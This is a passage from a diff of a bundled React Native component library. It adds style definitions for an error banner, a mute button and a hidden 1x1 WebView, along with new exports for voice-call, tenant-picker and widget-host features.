+    backgroundColor: "rgba(239,68,68,0.12)",
+    borderColor: "rgba(239,68,68,0.45)",
+    borderWidth: 1,
+    borderRadius: 10,
+    paddingVertical: 10,
+    paddingHorizontal: 14,
+    marginBottom: 12
+  },
+  errorText: {
+    fontSize: 13,
+    fontFamily: fontFam6,
+    fontWeight: "500",
+    color: "#fca5a5",
+    lineHeight: 18
+  },
+  muteWrap: {
+    position: "absolute",
+    bottom: Platform9.OS === "ios" ? 56 : 40,
+    left: 28,
+    alignItems: "center",
+    gap: 6
+  },
+  muteBtn: {
+    width: 56,
+    height: 56,
+    borderRadius: 28,
+    backgroundColor: ada10.paperSoft,
+    borderWidth: 1,
+    borderColor: ada10.border,
+    justifyContent: "center",
+    alignItems: "center"
+  },
+  muteBtnActive: {
+    backgroundColor: "#C15545",
+    borderColor: "#C15545"
+  },
+  muteLabel: {
+    fontSize: 12,
+    fontFamily: fontFam6,
+    fontWeight: "500",
+    color: ada10.inkMuted,
+    letterSpacing: 0.3
+  },
+  hiddenWebView: {
+    position: "absolute",
+    width: 1,
+    height: 1,
+    top: -100,
+    left: -100,
+    opacity: 0
+  }
+});
 export {
   AdasChatScreen,
   ChatInput,
@@ -1841,13 +2490,20 @@ export {
   Plugin,
   PluginSurface,
   TableCardBlock,
+  TenantPicker,
   TypingIndicator,
   UIActionsRow,
+  VoiceCallSheet,
+  WidgetHost,
   WidgetWebView,
   buildPluginBridgeJS,
+  openWidget,
   setClipboardProvider,
+  setPluginWebViewExtraHosts,
   setUIActionNavigator,
   useLightboxStore,
-  usePluginBridge
+  usePluginBridge,
+  useVoiceCall,
+  useWidgetHostStore
 };
 //# sourceMappingURL=index.mjs.map